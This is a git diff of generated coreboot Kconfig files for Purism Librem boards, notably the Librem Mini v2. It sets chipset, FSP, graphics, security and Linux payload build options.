+CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# +CONFIG_SUPERIO_ITE_COMMON_PRE_RAM=y +CONFIG_SUPERIO_ITE_IT8528E=y + +# +# Embedded Controllers +# + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_UDK_BASE=y +CONFIG_UDK_2017_BINDING=y +CONFIG_UDK_2013_VERSION=2013 +CONFIG_UDK_2017_VERSION=2017 +CONFIG_UDK_202005_VERSION=202005 +CONFIG_UDK_202302_VERSION=202302 +CONFIG_UDK_VERSION=2017 +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_IDT_IN_EVERY_STAGE=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_ACPI_CF9_FULL_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_HAVE_FSP_GOP=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_RUN_FSP_GOP is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVERS_I2C_DESIGNWARE=y +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_HAVE_DPTF_EISA_HID=y +CONFIG_FSP_USE_REPO=y +# CONFIG_DISPLAY_HOBS is not set +# CONFIG_DISPLAY_UPD_DATA is not set +# CONFIG_BMP_LOGO is not set +CONFIG_PLATFORM_USES_FSP2_0=y +CONFIG_PLATFORM_USES_FSP2_X86_32=y +CONFIG_HAVE_INTEL_FSP_REPO=y +CONFIG_ADD_FSP_BINARIES=y +CONFIG_FSP_T_LOCATION=0xfffe0000 +CONFIG_FSP_S_CBFS="fsps.bin" +CONFIG_FSP_M_CBFS="fspm.bin" +CONFIG_FSP_FULL_FD=y +CONFIG_FSP_T_RESERVED_SIZE=0x0 +CONFIG_FSP_M_XIP=y +CONFIG_FSP_USES_CB_STACK=y +CONFIG_HAVE_FSP_LOGO_SUPPORT=y +CONFIG_FSP_COMPRESS_FSP_S_LZMA=y +CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y +CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 +CONFIG_SOC_INTEL_COMMON_FSP_RESET=y +CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y +CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y +CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y +# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Skylake" +CONFIG_GFX_GMA_PCH="Cannon_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +# CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_USB_ACPI=y +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +CONFIG_NO_TPM=y +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_ACPI_LPIT=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_ACPI_S1_NOT_SUPPORTED=y +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_ACPI_NHLT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# +# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set +# CONFIG_DISPLAY_FSP_HEADER is not set +# CONFIG_VERIFY_HOBS is not set +CONFIG_DISPLAY_FSP_VERSION_INFO=y +CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y +# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +CONFIG_HAVE_DEBUG_GPIO=y +# CONFIG_DEBUG_GPIO is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_SPD_READ_BY_WORD=y +CONFIG_SPD_CACHE_IN_FMAP=y +CONFIG_SPD_CACHE_FMAP_NAME="RW_SPD_CACHE" +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_GENERIC_GPIO_LIB=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_mini_v2.config b/config/coreboot-librem_mini_v2.config index 178f9e010..a0ff80790 100644 --- a/config/coreboot-librem_mini_v2.config +++ b/config/coreboot-librem_mini_v2.config @@ -1,21 +1,796 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +# CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y +# CONFIG_STATIC_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="Librem Mini" +CONFIG_MAINBOARD_PART_NUMBER="Librem Mini v2" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="purism/librem_cnl" +CONFIG_VGA_BIOS_ID="8086,9b41" +CONFIG_DIMM_MAX=2 +CONFIG_DIMM_SPD_SIZE=512 +CONFIG_FMDFILE="" +CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="Purism" CONFIG_CBFS_SIZE=0xC00000 +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 +CONFIG_MAX_CPUS=12 +# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="librem_mini" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" CONFIG_INTEL_GMA_VBT_FILE="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/vbt.bin" +# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xe00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/librem_mini/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/librem_mini/cmos.layout" +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_PXE_ROM_ID="10ec,8168" +CONFIG_USE_PM_ACPI_TIMER=y +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfef00000 +CONFIG_DCACHE_RAM_SIZE=0x40000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x20400 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini_v2/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini_v2/me.bin" +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_EDK2_BOOT_TIMEOUT=4 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +# CONFIG_USE_LEGACY_8254_TIMER is not set +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem Mini v2" CONFIG_HAVE_IFD_BIN=y +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y +# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM_MINI is not set CONFIG_BOARD_PURISM_LIBREM_MINI_V2=y +# CONFIG_BOARD_PURISM_LIBREM_14 is not set +# CONFIG_BOARD_PURISM_LIBREM_11 is not set +# CONFIG_BOARD_PURISM_LIBREM_L1UM_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set +# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_CNL=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x360 +# CONFIG_ENABLE_EC_UART1 is not set +CONFIG_FSP_TEMP_RAM_SIZE=0x10000 +CONFIG_EC_GPE_SCI=0x50 CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x01000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set +CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +# end of Mainboard + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="soc/intel/cannonlake/chipset.cb" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x200000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_BERT_SIZE=0x0 +CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IFD_CHIPSET="cnl" +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_MAX_ROOT_PORTS=16 +CONFIG_MAX_PCIE_CLOCK_SRC=6 +CONFIG_PCR_BASE_ADDRESS=0xfd000000 +CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 +CONFIG_CPU_XTAL_HZ=24000000 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 +CONFIG_SOC_INTEL_I2C_DEV_MAX=6 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 +CONFIG_FSP_HEADER_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake2/Include/" +CONFIG_FSP_FD_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake1/Fsp.fd" +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 +CONFIG_INTEL_GMA_BCLV_WIDTH=32 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLM_WIDTH=32 +CONFIG_MAX_HECI_DEVICES=6 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HAVE_PAM0_REGISTER=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_INTEL_CANNONLAKE_BASE=y +CONFIG_SOC_INTEL_COMETLAKE=y +CONFIG_SOC_INTEL_COMETLAKE_1_2=y +CONFIG_FSP_FD_PATH_2="3rdparty/fsp/CometLakeFspBinPkg/CometLake2/Fsp.fd" +CONFIG_SOC_INTEL_CANNONLAKE_DEBUG_CONSENT=0 +CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 +CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code for IP blocks +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y 